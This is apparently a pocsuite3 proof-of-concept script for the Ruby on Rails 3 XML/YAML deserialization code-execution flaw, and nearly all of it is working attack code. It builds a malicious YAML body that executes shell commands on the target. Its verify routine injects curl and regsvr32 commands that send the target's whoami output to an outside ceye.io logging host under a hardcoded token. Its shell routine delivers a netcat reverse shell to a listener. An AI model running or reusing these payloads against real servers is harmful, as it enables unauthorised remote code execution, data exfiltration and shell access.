"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
from requests.exceptions import ReadTimeout
import time
import json
import base64
class DemoPOC(POCBase):
vulID = '0924' # ssvid
version = '1'
author = ['chenghs@knownsec.com']
vulDate = '2013-01-07'
createDate = '2013-04-14'
updateDate = '2013-04-14'
references = ['']
name = 'RubyonRails 3 XML Processor YAML Deserialization 代码执行漏洞'
appPowerLink = 'rubyonrails.org'
appName = 'RubyonRails'
appVersion = '3#'
vulType = 'code execution'
desc = '''
'''
samples = []
install_requires = ['']
def get_postdata(self, payload):
postdata = '<?xml version="1.0" encoding="UTF-8"?>\r\n' \
'<kscan type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\r\n' \
'? |\r\n' \
' foo\r\n' \
' (exec '{0}'; @executed = true) unless @executed\r\n' \
' __END__\r\n' \
': !ruby/struct\r\n' \
' defaults:\r\n' \
' :action: create\r\n' \
' :controller: foos\r\n' \
' required_parts: []\r\n' \
' requirements:\r\n' \
' :action: create\r\n' \
' :controller: foos\r\n' \
' segment_keys:\r\n' \
' - :format</kscan>'.format(payload)
return postdata
def getMiddleText(self, text, pro, suffix, index=0):
try:
index_1 = text.index(pro, index)
index_2 = text.index(suffix, index_1 + len(pro))
except ValueError as e:
return ''
return text[index_1 + len(pro):index_2]
def exact_request(self, flag, token):
counts = 3
url = "http://api.ceye.io/v1/records?token={token}&type={type}&filter={flag}".format(token=token,
type="request", flag=flag)
while counts:
try:
time.sleep(1)
resp = requests.get(url)
if resp and resp.status_code == 200 and flag in resp.text:
data = json.loads(resp.text)
for item in data["data"]:
name = item.get("name", '')
pro = "/" + flag
suffix = flag
t = self.getMiddleText(name, pro, suffix, 7 + len(flag))
if t:
return t
break
except Exception as ex:
logger.warn(ex)
time.sleep(1)
counts -= 1
return False
def _verify(self):
result = {}
headers_fake = {}
headers_fake['Content-Type'] = 'application/xml'
flag = random_str(4)
domain = "jwm77k.ceye.io"
token = "f63a506894027b471ef8c7d3885493e7"
url = "http://{}.{}/{}{}{}".format(flag, domain, flag, '`whoami`', flag)
payloads = [
'curl {}'.format(url),
'regsvr32 /s /n /u /i:"{}" scrobj.dll'.format(url)
]
for payload in payloads:
postdata = self.get_postdata(payload)
try:
resp = requests.post(self.url, data=postdata, headers=headers_fake)
if resp.status_code != 404:
matched_content = self.exact_request(flag,token)
if matched_content:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
result["VerifyInfo"]["Postdata"] = postdata
result['VerifyInfo']['Whoami'] = matched_content
# alert(site, matched_content)
break
except TimeoutError:
continue
return self.parse_output(result)
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _attack(self):
return self._verify()
def _shell(self):
headers_fake = {}
headers_fake['Content-Type'] = 'application/xml'
cmd = REVERSE_PAYLOAD.NC2.format(get_listener_ip(), get_listener_port())
postdata = self.get_postdata(cmd)
try:
resp = requests.post(self.url, data=postdata, headers=headers_fake)
except TimeoutError:
pass
register_poc(DemoPOC)
暂无评论